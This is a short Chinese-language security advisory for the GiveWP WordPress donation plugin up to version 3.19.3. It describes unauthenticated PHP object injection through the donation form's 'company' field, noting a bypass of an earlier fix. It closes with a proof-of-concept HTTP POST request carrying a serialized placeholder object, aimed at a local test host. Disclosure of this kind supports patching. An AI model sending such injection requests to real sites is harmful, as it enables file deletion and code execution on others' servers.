GiveWP – 捐赠插件与筹款平台 <= 3.19.3 - 未认证的 PHP 对象注入
GiveWP – 捐赠插件与筹款平台 WordPress 插件在包括 3.19.3 在内的所有版本中存在 PHP 对象注入漏洞,攻击者可通过捐赠表单中的 'company' 参数反序列化不受信任的输入。这使得未认证的攻击者能够注入 PHP 对象。此外,存在 POP 链,允许攻击者删除服务器上的任意文件,进而可能实现远程代码执行。请注意,该漏洞绕过了对 CVE-2024-12877 的修复。
POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
amount=10¤cy=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=